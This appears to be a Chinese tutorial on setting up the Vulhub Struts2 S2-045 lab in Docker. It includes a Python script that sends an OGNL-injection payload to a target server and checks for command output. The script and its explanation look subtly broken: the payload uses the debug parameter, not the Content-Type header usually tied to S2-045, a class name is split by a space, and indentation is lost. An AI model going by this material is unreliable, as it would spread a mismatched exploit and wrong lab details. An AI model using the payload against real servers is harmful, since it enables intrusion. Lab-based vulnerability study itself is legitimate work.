https://vulhub.org/#/environments/struts2/s2-045/
时间: 2025-03-18 17:33:27 浏览: 29
### Vulhub 中 Struts2 S2-045 漏洞环境配置与使用
#### 环境概述
Vulhub 是一个基于 Docker 的漏洞学习平台,提供了多种常见 Web 应用程序的安全漏洞实验环境。其中,Struts2 S2-045 远程代码执行漏洞是一个典型的案例[^1]。该漏洞允许攻击者通过 OGNL 表达式注入的方式,在目标服务器上执行任意命令。
---
#### 配置步骤
##### 1. 安装依赖工具
为了运行 Vulhub 提供的漏洞环境,需要安装 Docker 和 Docker Compose 工具。Docker 负责容器化管理,而 Docker Compose 则用于编排多个服务之间的交互关系[^3]。
```bash
sudo apt update && sudo apt install docker.io docker-compose -y
```
##### 2. 下载并启动漏洞环境
进入 Vulhub 的本地克隆目录或直接拉取官方仓库中的 `struts2` 文件夹下的 S2-045 实验脚本:
```bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-045/
docker-compose up -d
```
上述命令会在后台启动两个容器:一个是 Apache Tomcat 作为 Web 服务器承载 Struts2 应用;另一个是 MySQL 数据库模拟业务场景需求[^2]。
##### 3. 访问测试页面
等待几秒钟后,可以通过浏览器访问默认地址 http://localhost:8080/struts2-showcase/index.action 来验证部署成功与否。如果看到 Struts2 展示界面,则说明环境已正常工作。
---
#### 使用指南
##### 1. 构造恶意请求
利用此漏洞的关键在于构造合法形式却嵌入危险逻辑的 HTTP 请求参数。例如下面这段 Python 脚本展示了如何发送带有 RCE (Remote Code Execution) 攻击向量的数据包[^4]:
```python
import requests
url = "http://<target-ip>:8080/struts2-showcase/example/HelloWorld.action"
payload = "?debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open symphony.xwork2.dispatcher.HttpServletRequest%27)%2c%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2c%23resp.setCharacterEncoding(%27UTF-8%27)%2c%23resp.getWriter().print(%22test%22)%2c%23resp.getWriter().flush()%2c%23resp.getWriter().close()"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
response = requests.post(url + payload, headers=headers)
if response.status_code == 200 and 'test' in response.text:
print("[+] Payload executed successfully!")
else:
print("[-] Failed to execute payload.")
```
> **注意**: 上述代码仅限于教育目的的研究用途,请勿非法尝试任何未经授权的目标站点!
##### 2. 查看结果反馈
当正确触发漏洞时,应该可以在响应体中观察到预期输出字符串 `"test"` ,证明远程命令已被成功执行。
---
#### 注意事项
尽管研究漏洞有助于提升网络安全意识和技术水平,但在实际操作过程中务必遵循法律法规以及道德准则。未经许可擅自扫描他人网络资产可能触犯刑法相关规定。
---
阅读全文
相关推荐



















